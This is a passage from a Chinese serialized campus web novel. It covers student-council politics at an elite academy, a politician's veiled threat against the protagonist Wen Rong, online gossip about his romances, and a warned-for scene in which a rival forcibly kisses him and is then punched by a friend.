在这个位置看不到草坪,远处就是网球场,网球社的人排成长队从跑道上一晃而过,带队的人很高,像是时野。 温绒用脑门抵着玻璃稍作思考。 王斯辰一定了解这段时间发生的事,找自己来多半是威逼利诱,不要再跟林竞航作对。 咔擦 门被打开。 温绒回头率先看见林竞航不情不愿的脸。 这样恍惚的碰面,让他想起初次在火车上见面的场景。 那时候林竞航还不是这副贵少爷的样子,关系也没恶劣到彼此看不顺眼的地步。 林竞航身后跟着王斯辰。 温绒礼貌性问好,王斯辰摆摆手示意他坐,让管家添茶。 茶几上烧起壶水,管家放些茶叶,先浇一遍,倒掉,才在新的被子里灌入热水。 这是温绒没见过的东西,私以为有些繁琐,并没有必要。 不过出于礼貌还是谢过管家,默默把杯子捧在手里。 “好了,你出去吧。”王斯辰吩咐管家。 管家微微鞠躬,轻声退出房间。 “温绒刚才看到竞航开枪了吗?” 王斯辰发问瞬间,林竞航立即看向温绒,面上表情带着些许许紧张。 “看见了。”温绒诚实回答。 “你觉得怎样?” “很危险,枪不是玩具,学校也不是专业靶场,在场那么多人的情况下,不该随便玩枪。” “枪准吗?” “不准。”毫不犹豫。 王斯辰笑一声,看向林竞航,“你看,就算当着我面,他也没有假话。” 温绒沉默喝茶。 林竞航表情难看得要死,仿佛“输了”。 “刚才在外面,有谁跟你说了实话?” 林竞航更是难忍,手紧紧握成拳头。 “好了。”王斯辰拍拍他膝盖当做安抚,继续说:“身为领导,你需要温绒这样直言不讳的助手。以后要做什么事你拿来问问他,就知道到底该不该做了。” 温绒还在学着周谢那样分析话里的意思,王斯辰就翻出新的杯子,放茶叶,洗一遍,重新给倒满一杯,放在温绒面前。 “温绒,你那杯凉了,喝我给你倒的这杯。” 手里这杯正是温热可以喝的时候。 温绒略微蹙眉,隐隐觉得王斯辰的行为带有更深一层含义。 林竞航帮他把第六感说出来,“温绒,学生会副会长的位置空着,你要不要做。” 原来,王斯辰是来利诱的。 “温绒,你是做实事的人,叔叔一直都很欣赏你。不过弗罗里曼学院的学生会会长要一边接洽政府,又要一边管理学校,事情太多了,你一个人忙不过来,所以想跟你打个商量,以后找领导的事让竞航去烦恼,你好好管理学校,有什么意见他都帮你搞定。” “既然让我管理学校的话,为什么不是我做会长,林竞航做副会长?会长的权力不是更大一点吗?” “你不要给脸——” 林竞航差点跳起来,被王斯辰摁下去,“不要这么没礼貌。” 王斯辰继续劝说:“因为学生会会长的手续已经差不多办好了,竞航没犯原则性错误,没有理由把他换掉。” “那周谢是怎么被换的?他好像也没有原则性错误。” “他怎么会没有呢?你之前反抗他的那些举动,都是他的不称职的证明啊。” 温绒陡然一惊。 原来周谢是因为自己才被换掉的。 “你真的很厉害,要不是你主动站出来反抗,校董们都不知道周谢在学校里制造了这么多不公平的事。” 林竞航体会到王斯辰的用意,附和道,“对啊,这还要谢谢你。” 温绒反问:“换掉就换掉,周谢确实做得不好,但为什么直接就换成林竞航了。” 王斯辰脸上闪过一丝诧异,而后微笑,“这算是学校给予竞航的一点补偿。三年前竞航在学校里受到了不公平待遇,你还帮他平反了,记得吗?” “被诬陷的犯人,平反后可以直接当联邦总统吗?” 王斯辰:“……” 林竞航瞠目结舌。 他觉得自家小叔已经说得非常有理有据了,但为什么温绒总是怼得回来。 “哈哈哈哈哈哈。”王斯辰弯腰轻笑,摇头无奈道,“你这孩子,真的很难被说动。” “我觉得你说的很没道理。” “其实还有一部分原因是我这个做小叔的私心,竞航是我家好不容易找回来的孩子,他之前经历那种事,让我们都很愧疚,想好好弥补他,包括当学生会会长,我怕他跟以前一样被霸凌,所以尽力帮他回学校当最有权力的学生……温绒你知道被霸陵有多难受的,如果你是我侄子,我也会这样宠着你。” 这样坦白,温绒就无法反驳了,但他不信任王斯辰,最终还是婉拒,“谢谢您的好意——” 王斯辰摆手,“不用着急拒绝我。这件事一直有效,你就算明年突然想通了,也可以找竞航,让他给你副会长的位置。竞航要是不给你,你来找我。” 非常丰厚。 温绒埋头小小地鞠躬,“谢谢您。” “不客气,等会儿留下来吃晚饭,上次意外后都没能好好跟你聊聊。” “我——” 刚开个口,身后门咔擦一下推开。 一阵风,带着网球场上的咸湿气息扑入鼻腔。 温绒被拎着手臂站起来,茶没端稳,溢出来少许,到处乱浇。 靠近他的林竞航收了下膝盖,应该是被溅到了。 “欢迎来到我的别墅做客,王议员。” 时野的声音从头顶飘开,温绒感觉到发丝颤动。 王斯辰表情一凝,复又微笑,“小时野来了?别光站着,一起喝茶。” “暂时没空,还要带网球部的人训练。” 温绒忍不住抬手扶了下发扬的发丝。 时野继续说:“只是听说您登门拜访,跑来跟您打个招呼,也道个歉,这边留的人手不够,招待不周,还请您见谅。” 温绒听出来,时野这么有持无恐的原因是这栋别墅在校档案上仍然属于他,各种手续也全是他签的字,他才是主人,王斯辰跟林竞航都是不速之客。 王斯辰终于笑不动,垮下脸来,静静望着时野。 没有笑容伪装,他骨子里跟林竞航一样的东西才显露出来。 温绒不太想时野遭遇周总统的事,开口打破即将陷入僵化的局面,“王议员,我刚入学的时候曾经被时野的佣人偷盗钥匙,在床上泼油漆。” 王斯辰果然表情缓和。 温绒感觉到手臂上的手用了点劲,抬手拍了拍以作安抚,“虽然我已经不介意这件事了,但有一点很明确,即使这个佣人在没有告诉时野的情况下犯了错,最后都是由时野承担这份责任。” “我刚刚看见林竞航带进来的那些女孩拍了保镖用枪的照片,如果传到网上,就会有关于您不太好的言论产生。” “您现在可以出去把那些女孩拍的照片删掉,但你无法保证以后她们会不会在学校看到一些不该看的东西,拍一些不该外传的照片,或者那些人因为好奇心,闯入学校的禁地……比如梁学长的研究所。” “现在正是选举期,还是各方面都注意一下才行,毕竟您不可能没有政敌,一旦那些人万一被收买,林竞航退学绝对是最轻的责罚。” “不可能,她们就是跳舞的,哪会——” 王斯辰打断林竞航的反驳,“谢谢你温绒,叔叔一定会听取你的建议。” “还有,这栋别墅是时野明确表示拿出来给全校学生使用的,不该在未经允许的情况下私人占有,现在学生们意见很大。” “……”王斯辰沉默片刻,点头,“今天我就让竞航搬出去。” “谢谢您采纳我的意见,那我跟时野就不打扰了。”温绒礼貌性鞠个躬,拉着时野朝外走。 难闻的烟酒味再次令他咳嗽,不得不捂住鼻子继续往下走。 到门口,好不容易想吸口气,猛然间咸腥的汗臭味钻进喉咙—— 温绒差点呕吐。 其实他是习惯这个味道的,特别是夏天,许多男生打完球回来都会有。 但莫名就有些嫌弃时野,刻意捏住鼻子往旁边挪几步,“时野,你好臭。” 时野高高兴兴的脸猛然大惊,抓着领子往鼻子上凑,“臭吗?” “嗯!” “都怪周谢,也没给我盛装出席的时间。”说完,时野又哼,“为了救你,我可是从网球场一路跑过来的,我的社员都不知道怎么回事,估计这会儿还在大眼瞪小眼儿呢。” 温绒继续捂鼻子,“那你快回去,我也要去跟周谢碰个面了。” “干嘛赶我,我才是把你从水深火热中救出来的人,周谢都办不到,只有我可以。” “嗯,谢谢你。” 敷衍至极。 时野绝望,捞起领子又一次凑到鼻子边,“真这么臭吗……” 说完,擦一把鼻尖热出的汗,“好吧,我送你去找周谢。” “不用,我自己去。” “我知道了,你嫌弃我。” 温绒诚实点头,“嗯。” “……” 时野暗暗发誓无论多紧急都洗干净再来见温绒,不再自己找嫌弃,主动走下楼梯,四处张望找周谢的位置。 看见一堆女人跟酒瓶时蹙了下眉,很轻微,只是锋利的眉目平时看起来就有些凶,稍微做点动作,都明显得不行。 “别墅被林竞航弄成这样,你生气吗?” 他听到温绒问,有些愣然,“为什么生气?” “其实我有一些生气。如果林竞航没有霸占别墅,你包括网球社的那些人,打完球就能直接在这里洗澡了。” “还气什么?你刚才不是帮我把他赶出去了吗?”时野搓了搓头发,勉强又想到个安慰温绒的办法,“而且住别墅就没办法跟你当领居了。” “啊?”温绒瞪大眼睛。 时野隔老远朝温绒抛个眉眼,“齐元跟时竞在古老的大草原拍文艺片呢,没个七八个月回不来,我跟他友好沟通后,成功换了宿舍,今天刚装修好。” “你什么时候……” “周谢过来了,你跟他聊,晚上我们一起去食堂吃饭。” 周谢从远处走过来,时野摆摆手,“嗖”地一下,准备臭烘烘地跑走。 他速度极快,没几秒钟,老高一个人就跑出去十来米。 “喂,要不陪你回宿舍洗个澡直接吃饭吧,我早上到现在都没吃,好饿。” 高大身影原地一跳,跟捡回玩具的狗似的蹦回来,“走!带你看我的新宿舍。” “你怎么还没走?”一去一回间,周谢已经走到温绒身边。 时野骄傲:“我要带温绒去我宿舍参观。” “一间破宿舍有什么好参观?” “艹!周谢你——” 温绒连忙问周谢,“你怎么让时野来了?” 周谢收回瞪时野的眼神,“王斯辰现在还不敢动时家的人,而且那栋别墅本来就是他的,就算门反锁他也有钥匙开,当然叫他去最合适。” 时野:“对,只有我可以。” 周谢忽视时野,又问:“王斯辰找你说什么?” 温绒把刚才发生的所有事讲给周谢听,林竞航跟王斯辰说过的话也一字不落。 周谢蹙紧眉头,因为眉骨太高,阳光落下来后,眼窝一圈都埋在阴影中,眼睛可以毫无阻碍地睁大。 “虽然你没落进他的圈套,但有一点我想提醒一下,希望你不是那种做实事不追求功名利禄的人。” 温绒:“什么?” “王斯辰话外的意思是以后你干事,林竞航领功。” 时野:“艹!那不就是把你当老黄牛。” 周谢:“时野说的没错。你记住,比起群众知道你做了什么,更重要的是领导知道你做了什么。如果你的升迁来源于群众的推举,领导不会觉得你有能力,只会觉得你是个威胁。” …… 王斯辰站在窗边,看着三人并排走远,恍惚间吐出一口气。 秘书走到王斯辰身后,不知道该说什么缓和气氛。 老房子着火,还失恋,领导肯定气疯了。 “呼……”王斯辰又吐出一口气,“我已经判断不出他是轴还是聪明了。” 秘书在心里小小的“啊?”一下,并没有听懂。 “虽然很舍不得,但是……” 声音渐弱,仍然没听懂的秘书生怕等会儿猜不到领导的心思,只能更走近王斯辰。 “但不属于我的东西没必要留下了。” 秘书瞪大眼睛:“领导,在学校里不适合再动手了,上次校庆的事已经——” “在外城区就可以了,他不是在福利院长大的么,总该要回去看看。” “那等春节我——” 王斯辰再一次打断秘书,“就这几天吧,你找个由头。” “好的。” 秘书完全理解了这个命令,却忍不住在心里打了个寒颤。 领导遇见温绒时那张皇失措的样子不像假的,但说处理就处理,真是冷心冷血。 第107章 第 107 章 (预警)周谢强吻…… 聊天聊到门口的时候, 才发现进时野宿舍参观的人不知不觉间多了一个。 时野停下脚步,“你干嘛?” 周谢自觉接过话,“想知道你宿舍里藏了什么宝贝, 非要带人参观。” 认识那么多年,周谢什么时候对他产生过好奇,那阴森森的狗眼睛一瞥,时野就知道没安什么好心。 哦,他在追温绒。 因为周谢实在没什么威胁,时野几乎要忘了这回事。 不是,他追温绒, 打扰我跟温绒干嘛? 不对,我要大度。 经过一段心理斗争的时野深吸口气,尽量平静地说:“我房间有巧克力, 你小心,吃到会死。” 周谢对这样的话嗤之以鼻,眼皮子一掀回嘴:“继续玩这种拐弯抹角骂人狗的游戏, 联邦幼儿园需要你交学费。” “艹!” 仍在状况外的温绒不知道两人为什么突然争锋相对,非常礼貌地到退一步, 给两位留出舞台。 就是这退一步的动作,明明非常轻,皮鞋都没发出响,但两个人竟然齐刷刷地望过来。 温绒:“……” 时野:“……” 周谢:“……” 沉默最后由周谢接到恰恰李奥的电话打破, 李奥在电话那头可怜巴巴的嚎:“表哥你在哪?我怎么看不到你们?你们把我抛弃了吗?你不在乎我这个表弟了吗?” 周谢不耐烦地制止他,“别叫了。” 温绒说:“要不你去救一救他吧,把他一个人丢在那里好可怜。” 周谢听得出话里的意思,目光深深落在温绒身上,沉默两秒后点头。 小胜一局, 时野得意的吹了声口哨。 不过也没开心多久,开个门的时间,好巧不巧,住在对面的男生也打开门。 彼时三人你看我,我看你,陷入一阵诡异的尴尬。 “时、时、时……”男生的大眼睛在温绒跟时野之间跳,最后变成空气中无法闭合的一大张嘴。 “!!!” 啪—— 时野在电光火石间迅速窜进房间,“我洗个澡,几分钟出来,等我。” 温绒无语。 他不理解时野为什么把自己关在门外,自己一个男的,进男生的房间到底有什么不妥? 两分钟后,温绒看见自己的绯闻在黒鸽论坛传播,甚至开始怀疑人生。 《有眼有真相,时野跟我男神在一起了》 [众所周知,楼主住在男神对面,是得到男神早上问好的第一人。] [昨夜,楼主在宿舍里反复观看男神往期视频,企图在英姿中学习到一丝丝神韵。] [讲重点!没人对你昨晚用温绒的视频做了什么感兴趣。温绒怎么跟时野在一起了?你看见了就可以造谣?] [不要污蔑我清清白白的男神。] 楼主:[千真万确!我亲眼看见温绒跟时野一起从齐元的宿舍里面出来。] [等会儿,他俩从齐元宿舍出来干嘛?这是什么play?] [解释一下,齐元的宿舍归我们社长使用,ps:手续正规光明正大。] [那就是昨晚我男神跟时野睡了一晚上?] [可能只是盖棉被聊天而已,我纯洁的男神绝对不会对时野做什么的。] [对,我也相信我男神不会对时野做什么,他那么正直。] [经鉴定,楼主眼瞎,温绒跟时野没有任何关系。] [祈祷,温绒跟时野不要有任何关系。] [祈祷+1] [停一停,关于温绒的绯闻能不能结束,想看点其他的内容了。] [为什么不能聊温绒?温绒惹你了?] [兄弟,你喊他老婆的时候可不是这样的,忘记现在是实名制冲浪了?] [我的意思是,既然荷官都已经要下岗了,能不能立一下新的版规,以后论坛里禁止讨论温绒的恋情行不行,很伤我这种梦男。] [对,伤我这种梦男了。] [受伤+1。] [毒唯只对真嫂子破防,时野就是个假的,你们伤什么?] [假的能跟温绒传绯闻吗?时野真得不能再真了,不信你看温绒x时野的cp文,看了你也会觉得真。] [怕什么,又没结婚,还是可以当小三的。] [小三轮得到我们?还有莱昂跟周谢呢。] [小五……吧?] 温绒眼睁睁看着自己在论坛里拥有十八房姨太太。 看到热帖《来个真爱认领小三八》时,更是无奈叹气。 这群人分头衔已经分得不知天地为何物了,甚至没问过他这个当事人的意见。 咔擦—— 怀疑人生时,时野终于打开宿舍门,“走,吃早饭。” 温绒忍不住问:“你干嘛把我关在门外面,说好要带我参观。” “这个……”时野搓了搓头发,“你是要当学生会会长的人,不能老跟我传绯闻,这样对你的口碑不好。” 温绒举起手机,“已经开始传了。” 从宿舍到食堂的一路,时野愤怒传达论坛上的战况,有不认识的勇士认领了“小三八”这个称谓,现在众人开始抢“小八八”。 “太过分了!都没有问过你的意见。有几个孙子是网球社的,等我回去练死他们。” “不是,他们凭什么肖想你……我要让周谢把他们全封了。” 愤怒到甚至忘记周谢现在已经不能称为学生会会长。 温绒心里稍微舒服了许多,也不再记恨时野把他关在门外面的事。 黒鸽论坛的混战中,有人弱弱发帖表示在学校看到了王斯辰。 无人在意。 过会儿,又有人发帖说王斯辰带走林竞航的佣人,林竞航搬离时野的别墅。 依然无人在意。 索性这些内容在给温绒招满200房姨太太的帖子中夹缝生存,经过几天的努力扩张,甚至黒鸽专门发送系统消息,最后总算是传到了每个人的耳朵。 王斯辰这一趟没白来,林竞航开始收敛,甚至为了避免跟温绒起冲突,连每天上课都刻意坐得极远。 这样的安分对温绒来说不是好事,抓不到错处就不好发难,关于选举学生会会长的事也暂时无法有进展。 而且王斯辰这次来学校,不知道以什么办法,彻彻底底堵死了重选会长这条路,就连校长的朋友——恩斯特大法官那边传来的消息都是摇头和叹息。 日子缓慢安静地过着,林竞航成功坐上学生会会长的位置,系统一发,撤销学生会所有人的黄牌。 论坛有人不满,有人因为利益相关庆贺,但在项目研讨会的具体日期确定时,一切声音沉寂。 无论有多少不满和担忧,林竞航就是正牌的学生会会长,掌握项目研讨会的通过大权,谁都无法改变。 温绒想,这对吗? 德不配位的人成为这所学院里权力最大的学生,操控许多人的命运。 啪嗒 想得太入神,手里的笔掉在地上。 正好下课铃响,台上的老师准时结束课程。 准备弯下腰捡笔,有人先一步帮他捡起来。 “笔。”对方小心地把笔轻轻放在桌子上。 温绒抬头,看见一张熟悉的脸。 没记错的话,是学生会宣传部部长。 他不禁冷嗤,起身收拾东西,离开教室时顺手把笔丢进垃圾桶。 温绒觉得这不对,德不配位的人不该掌握权力。 每一个虚与委蛇的人都是帮凶。 天气越来越暖和,下午五点,阳光还在走廊上拉出长长的影子。 温绒站在窗边吹风,一段时间没有修理过的头发都被吹开,浅浅的眸子被浸透成金色。 周谢走到他身边时,天际线上浮着一片火红的晚霞。 “我有一段时间跟你现在一样难受。” 温绒没有回答,眼睛被风吹得眨了又眨。 周谢继续说:“在被你欺负的时候。” “噗嗤”温绒被逗笑了,但没回话。 “以前我被你弄得焦头烂额,经常这样对着风景发呆,要么抽烟,一抽抽一整天。所以我懂你现在的心情。” “你现在说话好像时野啊。” 周谢顿了下,不知道为什么会突然提起时野,不过也不反驳温绒,顺着话说:“毕竟一块长大的。” “一起长大是什么感觉?” 问完,温绒想到什么,继续说:“你开学的时候做假投票欺负时野,完全看不出来像是一块儿长大的。” “是么……可以抽烟吗?” “教学楼里还是别抽烟了吧。” 周谢顺从的从口袋里摸出支烟,单单咬在嘴上。 “我之前想,处理好所有的利益关系,就可以一直掌握最高权力,做我爸最强的助力。” 温绒扯了扯嘴角。 “你别笑,很多人都这样想,学生会这些人这样想,政府里那些人也这样想,因为整个环境都是如此,联邦的社会结构就是拼关系。” “……” 空气沉默,周谢意识到自己说着说着,竟然说到了自己身上,忙不迭强行扭转话题,“至于我跟时野现在还能这样,或许就是你说的……世界上关系最好的朋友吧,有点矛盾,会吵架会打架,但跟别人比起来,总归更信任他一点。” “好羡慕。” “嗯……”周谢心情却不怎么好。 他自我剖析一堆,温绒一点兴趣都没有,只有说到时野才回应。 “你是不是觉得我以前很差劲。”周谢忍不住把烟从嘴里拿下来,用一种毫不在意的豁达语气问。 “……” 下课时间,走廊上传来学生下楼的脚步声。 这一处却静得可怕。 又一次的沉默让周谢不敢追问,恍惚地把烟收进口袋,视线乱飞,“饿不饿,该去吃饭了。” 他不是傻子,温绒的态度很明确,并不想讨论关于他的任何事,对于那些自我剖析,或者说能了解他的途径,没有任何兴趣。 无端有些失落,又不敢质问,只能小心翼翼地避开。 正调整着情绪,突然“唰”地一声响,温绒将窗户拉上。 “莱昂学长给我说,很多事情没有对错之分,要看站在什么立场。我一直站在时野的立场,所以我觉得你以前很差劲。” 周谢猝然定住,心头酸楚不敢表现出来,勉强笑一笑。 “不过你也有很多优点……” 周谢迅速望过去,期待温绒列举出优点。 温绒微笑,“饿了,吃饭去吧。” “你……”还没说我的优点。 周谢望着温绒下楼,好像知道他看着似的,背对着他挥了挥手,像是道别。 在得意吧。 肯定。 周谢转脑袋,没在玻璃里看见温绒的背影,手机收到消息。 [走,吃饭。] 静立良久,他无端笑了下,有种所有心思全部晒在太阳底下的错觉。 温绒在楼下等他,两人一起去的食堂。 周谢刻意观察温绒的喜好,绿叶菜多,肉少,清淡口味,带一点甜。 吃饭时不说话不分心,咀嚼斯文。 虽然在福利院长大,习惯却不怎么糟糕,说明过去人生里曾小心翼翼地关注四周,敏感地模仿,努力拉近自己跟其他人的差距。 “你还跟以前的朋友有联系吗?”周谢想要再从蛛丝马迹中了解温绒一点,随口问道。 “嗯?” “你朋友应该都读大学了……无论什么大学,跟弗罗里曼学院都有些差距,他们会很羡慕你,也会经常联系你。你们平时都聊什么。” “我以前没有朋友。” 周谢喉头一卡,意识到自己又一次触碰雷区,都忍不住想,是不是该冒犯地找人去查一下温绒的过去,免得一开口又惹温绒不高兴。 慌乱之际,温绒神色淡然,“不过我感觉弗罗里曼学院也没比其他大学好到哪里去。” 周谢给他科普:“虽然你对这里印象不好,但实力这一块儿你没办法质疑,弗罗里曼学院的招牌是一代又一代学生搞科研,打比赛赢来的。” “我以前看新闻,有大学生对游乐园非人的入园规则不满,自己跟游乐园打官司,为所有游客谋取利益。在弗罗里曼学院,我没看到这样的学生。” “游乐园的老板大概率是弗罗里曼学院的校友,一般情况下不会有学弟跟学长打官司。” “而且弗罗里曼学院的学生进游乐园不用走普通人通道。” 噼里啪啦说了一通,周谢看温绒若有所思,发觉自己说错了话,连忙闭嘴。 焦躁的心情又让他不得不解释,“我只是基于客观事实分析原因,没有其他意思。” “我明白的,你的意思是弗罗里曼学院的学生都是既得利益者,不可能掀自己的桌子。” “嗯……”周谢仍然心虚,岔开话题,“项目研讨会后有联邦大学生网球联赛,模拟议会全国辩论赛,学生会会长要帮着处理赛事,你等着看林竞航的笑话好了。” “你说弗罗里曼学院的学生打比赛很厉害,林竞航怎么会闹笑话?” “每一次大比赛,学生会会长都要带队伍的,至少要帮忙核对各方面的手续,防止他们资料或者程序上出错,林竞航的性格做不好这些事。” “在聊什么?” 一道不属于温绒的声音蓦然插进来。 莱昂端着盘子坐在温绒身边。 “学长!” 温绒眼睛蹭亮,让周谢真情实感体会到,接过吻的人就是不一样,比起看林竞航的笑话,见到莱昂更让他开心。 “嗯,你们刚才在在说什么?” “我在思考弗罗里曼学院的风气成因,刚才周谢给我提供了一个很不错的思路。” “哦?说来听听。” 温绒不太好意思地笑笑,“一点不成熟的想法而已,还是不说了。” 察觉到温绒在防备莱昂,周谢愉悦地用筷子戳了下碗底。 莱昂维持笑容,“最近有新电影上映,要不要看?” “我……” “还是要过一下正常的大学生活,吃吃喝喝,到处玩玩。要是整天忙着学生会的事,不就变成周谢了吗?” 周谢莫名中一枪,瞪眼过去。 莱昂半点眼神不给他,继续说:“我已经买好票了,等会儿回去换身衣服,我们一起去。” 温绒:“好的。” 好的?! 周谢不知道自己为什么会起到反面教材的作用,但一口饭都吃不下了,放下筷子问:“什么电影?我也要看。” 莱昂:“你不感兴趣。” “你怎么知道我不感兴趣,我不感兴趣,时野就不感兴趣吗?” 莱昂坚持跟温绒说:“就我们俩去看吧,又不是小学生上厕所,还要手拉手一起去。” 温绒:“行。” 周谢:“……” 温绒跟莱昂去看电影了。 周谢戒了一段时间的烟,没忍住又重新开始抽起来。 尼古丁抚不平涌动的思绪,烧到底,差点烫到手。 他以为经过这段时间的相处,温绒已经接受他了,至少把他当做朋友。 但事实摆在面前,温绒跟他各方面都不一样,甚至单从观念上就存在巨大分歧,只要稍微一深入交流,就会触发雷区。 周谢第一次对自己迎合别人的能力产生怀疑。 夜色中星火渐渐消散,手机屏幕释放出光芒,映在无框眼镜上。 周谢给时野发去消息。 [温绒跟莱昂出去看电影,还没回来。] 那边倔强的回复:[我知道啊,温绒叫我了。] 又回:[没叫你吗?] 周谢不甘示弱:[在我面前说的,你说叫没叫我?] 时野:[那你怎么不来?] 时野:[图片] 照片里,温绒被时野跟莱昂挤在中间,两只手张皇失措地举起剪刀手。 三人俨然在电影院,时野这个人很知道怎么气他,特地标注拍摄时间,就在他回消息的前十秒钟。 周谢意识到时野没有假装坚强,而是真的在反问“没叫你吗”时,无地自容地关闭手机。 他们三一起看电影。 说明温绒跟莱昂离开后又叫了时野。 当时明明拒绝了他,却叫了时野。 周谢把手机放到桌上,又摸出支烟,咬在嘴里,老半天化不开打火机,因为手抖得厉害。 最后,他烦闷地把打火机丢到地上,嘭地一声响,眼睛用力闭上。 随即烟也丢在地上,抓起车钥匙朝外走。 他现在就要见温绒。 心脏抽痛的感觉让呼吸变得困难,胸腹剧烈起伏,周谢坐上车瞬间,本能地一脚将油门踩到底。 他被抛弃了。 明明已经努力去迎合,还是被抛弃了,连看电影,都把他排除在外。 前所未有的孤独像潮水一样灌着身体,堵塞每一个细胞,周谢感到氧气缺乏,头脑剧痛,随时都会死掉。 自从父亲去世,他从来没有一刻像现在这样难受。 他的朋友,他喜欢的人,从来没把他当做“自己人”。 想到这些,周谢几乎都要看不清路,鼻子酸透顶。 “你以前很差劲。” 白天的对话意外插进脑子。 周谢眼睛骤然瞪大,突然间终于明白这几个字的含义。 他是很差劲。 他后知后觉温绒的沉默是什么意思。 在他往时竞身边站的时候,在作假保赵泽阳的时候,在明知道莱昂保着温绒还刻意为难温绒的时候,时野跟莱昂的心情,跟他现在一模一样。 滋啦—— 车轮抱死,在地上划出一道带着火星的印记。 周谢身体向前撞,被安全带拉了回去。 后脑勺抵上枕头,疼痛让理智回来几分。 周谢用力抓紧方向盘,两只手臂剧烈颤抖。 隔着不会被人发现的水光,他看到路灯从一点晕成一大片。 被时野改造过的老爷车就被包裹在这片光芒之中,久久都没有动弹。 知道一道远光灯射在后视镜上,周谢如梦初醒,深吸一口气,这一次是缓慢地踩刹车,平平稳稳开车离开学院。 他想做点什么,立刻。 心里有个声音偏执地认定,他想通的这一刻,必须见到温绒,去完成最后的步骤。 …… 温绒举着时野跟莱昂学长分别买给自己的奶茶,坐在卫生间门口的安静等着他们。 从学校出发起两人就有些争锋相对,可能是因为答应跟学长单独看电影,却不小心在宿舍门口遇到了时野,可能是婉拒了时野的参观邀请,结果要跟学长单独出来看电影。 总之,不算笨蛋的温绒意识到两人中间窜着火药,必须单独去卫生间里炸一炸。 幸好他戴了口罩,暂时还没被其他人发现,安安静静坐着,偶尔能听见一楼传来小孩子的笑声。 人在没事做的时候就大脑放空发呆,所以没有注意到疾步向自己靠近的人。 在被突然抓住手的瞬间,吓了一跳,几乎是本能地想要甩开,结果一抬头看见周谢阴沉沉的脸。 身上还穿着弗罗里曼学院的校服,过于正式又过于惹眼,引起周围不少人的注意。 “你怎么在这里?” 他怎么来了?时野跟莱昂学长没说叫他来啊。 周谢一声不吭,强行拖着他离开这里。 脚下的速度很快,温绒差点没跟上,走到了商场另一头坐电梯的地方,幸好电梯打开,人们都进去了,没注意他俩。 周谢直接打开应急通道的大门,拉着温绒进去。 没有人的楼梯间,呼吸声都带着回响。 温绒看到周谢难看的脸色,好奇询问:“你怎么了?” 周谢低头看着他,张了张嘴,没能发出声音。 “你怎么知道我们在这边?”温绒问完上下打量他一圈,又问:“你直接从学校出来的?怎么还穿着校服?” “……” 温绒把手里的奶茶递到他手里,“你帮我拿一下,我给莱昂学长发个消息,免得他们出来找不到我。” 周谢皱了下眉,蓦然伸手抢走温绒的手机。 “你——” 周谢打断他,“你们看电影,为什么不带我一起。” “我——” 周谢再次打断温绒,“你一点都不喜欢我,甚至不想跟呆在一块,平时在学校都是迫不得已才跟我一起上下课,是吗?” 这一点,说出来跟在心里想是完全不一样的感觉。理智告诉周谢,温绒确实不喜欢他,甚至以前还讨厌他,但他都已经改了,他都做饭给温绒吃了,他……他以为过了这么久,温绒已经至少有一点信任他,喜欢他了。 不然,那天喝醉后为什么想要讨他开心。 温绒是在乎他开不开心的。 周谢鼻尖再次泛酸,“为什么你可以跟莱昂时野一起看电影,唯独抛下我,如果连你都不要我了,逢年过节的时候,我该去哪里。” “什么逢年过节?” “我没有爸妈了,你也没有,不是吗?逢年过节的时候,别人一家团圆,只有我跟你被落下,我们——”他深吸一口气,清掉堵塞嗓子的东西,“我们应该抱团取暖。” 温绒似乎是明白了他的意思,略一思考,沉静地抬头:“对不起,我没有那样的打算。” “你没有这样的……打算。” 周谢心脏剧痛,侧过脸,情绪突然爆发,把手里的东西全部砸在地上。 砰地一声,奶茶四溅,手机顺着楼梯滚到下面一层。 “你干什么!” 温绒吓一跳,愣了几秒,随即脸上露出怒容:“以前你看不惯我,我其实也不怎么喜欢你,是因为莱昂学长跟时野我才跟你当做校友相处。如果因为相似的处境让你误会什么,我向你道歉,但我真的从来没想逢年过节跟你一起过,我们还没有熟到那种地步。” 说完,他走下楼梯去捡手机,看到屏幕从中间对半分开无法唤醒时,清俊的五官几乎要拧成一团,想要发火。 然而一抬头看见周谢半边脸都埋在阴影里看不清神色,像是被伤透了,肩膀微颤,背都弯了,急促的吸气声传来。 温绒心惊,在恍惚间好像看见了周总统,忍不住反思自己是不是把话说得太重。 虽然没有想过什么逢年过节,但周谢刚才的话一下子就提醒他了,他们的境地一模一样,在全家团圆的时刻,确实只有他们能合理地拼在一起,假装拼凑一桌团圆饭。 “那个……” 欲言又止,温绒缓慢走上楼梯,拉开应急通道的门,小声道,“我刚才把话说得太重了,对不起。你是不是心情不太好,莱昂学长跟时野还在那边,我去叫他们过来。” 一只手突然擦过温绒脸侧,死死摁在门上,迫使温绒被门拽着往前扑。 “没熟到那种地步——在你眼里,我跟林竞航没有任何区别,对吗?” 周谢咬着牙询问,眼睛赤裸地展示出杀意,如果温绒真的回答嗯,他想他会控制不住杀了他。 不喜欢你。 当做校友相处。 从没想过。 没有一句话是他爱听的。 “我没那么觉得。”温绒小声地回答他。 周谢表情稍缓。 “我知道你已经在努力的迎合我了,但我们很多想法完全不一样,没必要做那种谈心畅聊的朋友,那样只会产生越来越多的分歧,就普通校友,或者同事……” 周谢不想再听了,一手抓起温绒的后脖颈,强行把他的脸掰过来,一口咬上那张讨厌的嘴。 他粗暴地咬着他,比起情欲,更多的是泄愤。 孤独和憋屈全部都通过用力的牙齿、舌尖发泄出去,咬破的唇角渗出鲜红的血,腥味熏得喉咙干呕,一呼一吸带着胃部剧烈的翻滚。 原来是这样的感觉! 时野跟莱昂和他接吻的时候,原来这么满足! 周谢抓住挣扎的手,用鼻尖抵着温绒的脸强迫他仰头,用尽浑身力气啃食。 时间久了,眼镜歪歪斜斜挂在脸上,透过变形的镜片视野,周谢余光瞥见透明的玻璃那头——时野愤怒的脸。 他愣了一瞬,松开温绒。 “咳咳”温绒弯下腰,像被血和唾液一起呛到了,发出剧烈的咳嗽。 门由此开出一条缝,时野从缝里钻进来。 眼前一道黑影闪过,嘎嘣,周谢的眼镜甩飞,身体被时野一拳砸到墙上。 模糊的视野里,莱昂伸手扶起温绒,用袖子擦去他嘴上的血,温和地问:“还好吗?” “咳咳。”温绒仍然在剧烈的咳嗽,咳到干呕,脑袋一载,差点掉下楼梯,幸好被莱昂及时借住。 莱昂脸色骤变,两手抓起温绒的肩膀,强行把他抱起来,“学长带你去卫生间处理一下。” “咳咳——” 咳嗽声慢慢地开始听不见了。 周谢滑到地上,双目空洞地望着满地狼藉。 把话说开了,得到答案了,还强行接吻了,但揪心的感觉比来的路上更加明显。 他自诩成熟理智,可现在脑子里却一团乱麻。 